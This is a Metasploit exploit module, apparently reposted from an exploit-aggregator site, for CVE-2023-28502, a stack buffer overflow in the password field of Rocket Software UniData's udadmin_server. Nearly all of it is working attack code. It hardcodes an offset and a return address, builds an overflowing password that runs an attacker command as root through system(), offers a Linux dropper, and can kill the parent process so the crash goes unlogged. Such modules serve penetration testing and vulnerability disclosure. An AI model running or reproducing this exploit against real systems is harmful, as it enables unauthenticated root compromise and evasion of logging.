## https://sploitus.com/exploit?id=PACKETSTORM:171853
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Unirpc
prepend Msf::Exploit::Remote::AutoCheck
OFFSETS = {
'8.2.4' => {
# The amount of padding required to overwrite the return addr
'offset' => 0x2b8,
# This returns to "mov rdi, rsp / call system", which means the
# remainder of what's on the stack will be passed to system()
'return_address' => 0x412e25
}
}
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password',
'Description' => %q{
This modlue exploits an authentication bypass vulnerability in the
Linux version of udadmin_server, which is an RPC service that comes
with the Rocket Software UniData server, which runs as root.
This vulnerability affects UniData versions 8.2.4 build 3003 and
earlier (for Linux), but this module specifically targets UniData
version 8.2.4 build 3001. Other versions will crash the forked
process, but will not otherwise affect the RPC server.
The username and password fields are copied to a stack-based buffer
using a function that's equivalent to strcpy() (ie, has no bounds
checking). Additionally, the password field is encoded in such a way
that we can include NUL bytes.
},
'License' => MSF_LICENSE,
'Author' => [
'Ron Bowes', # Discovery, PoC, module
],
'References' => [
[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
[ 'CVE', '2023-28502' ],
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'DefaultOptions' => {
'RPORT' => 31438,
'PrependFork' => true
},
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
# Used for auto-selection
'Version' => '8.2.4',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2023-03-30',
'Notes' => {
'SideEffects' => [],
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_RESTARTS] # The forked process can crash
}
)
)
register_options(
[
OptBool.new('EXIT_CLEANLY', [ true, 'If set, tries to kill the parent process with SIGTERM before it crashes', true]),
OptEnum.new('UNIDATA_VERSION', [true, 'The version of UniData target. Automatic detection is the default.', 'auto', ['auto', '8.2.4'] ]),
]
)
register_advanced_options(
[
OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
]
)
end
# We can detect UniRPC by performing a version check, but the version number
# didn't increment in the patch (only the build number did, which AFAICT we
# can't access), so just do a sanity check
def check
@version = unirpc_get_version
vprint_status("Detected UniRPC version #{@version} is running")
Exploit::CheckCode::Detected
rescue UniRPCCommunicationError => e
return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
rescue UniRPCUnexpectedResponseError => e
return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
end
def execute_command(cmd, _opts = {})
# Connect to the service and authenticate before running the command stager
connect
# Connect to the RPC service (probably "udadmin")
vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
sock.put(build_unirpc_message(args: [
# Service name
{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },
# "Secure" flag - this must be non-zero if the server is started in
# "secure" mode (-s)
{ type: :integer, value: 1 },
]))
recv_unirpc_message(sock, first_result_is_status: true)
# Pick a random username
username = rand_text_alpha(6..20)
# Start the password with random junk that writes to the stack
password = rand_text_alpha(@offsets['offset'])
# Append the return address
password += [@offsets['return_address']].pack('Q')
# Attempt to cleanly kill the parent process if we can (otherwise it
# crashes)
#
# Because of how the payload goes onto the stack immediately after the
# return address, we can't return into an `exit` call - all the parent
# process can do is crash (which is logged).
#
# We CAN, however, prepend a command to cleanly kill the parent PID, making
# it look like a standard exit (not logged).
if datastore['EXIT_CLEANLY']
password += 'kill -TERM $PPID & '
end
# End with the command, which will be passed to system()
password += cmd
# Check if the payload includes the `\xff` character, which will terminate
# the string and break the module. This shouldn't ever appear in the actual
# payload, which is base64-encoded, but this will catch a future return
# address that would break the payload
if password.include?("\xff")
fail_with(Failure::BadConfig, 'Payload contains a 0xFF character, which will fail')
end
vprint_status("Authenticating to RPC service as #{username} with a stack-overflowing password")
sock.put(build_unirpc_message(args: [
# Message type
{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },
# Username
{ type: :string, value: username },
# Password (encoded by making each byte negative)
{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
]))
print_status('Payload sent')
end
def exploit
if datastore['UNIDATA_VERSION'] == 'auto'
if @version.nil?
vprint_status('Requesting the version number for automatic targeting...')
@version = unirpc_get_version
else
vprint_status("Using the version number from earlier for targeting: #{@version}")
end
else
@version = datastore['UNIDATA_VERSION']
vprint_status("Using the version number from UNIDATA_VERSION for targeting: #{@version}")
end
@offsets = OFFSETS[@version]
if @offsets.nil?
fail_with(Failure::NoTarget, "No matching target for version #{@version}")
end
# Run the command(s)
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
rescue UniRPCCommunicationError => e
fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
rescue UniRPCUnexpectedResponseError => e
fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
end
end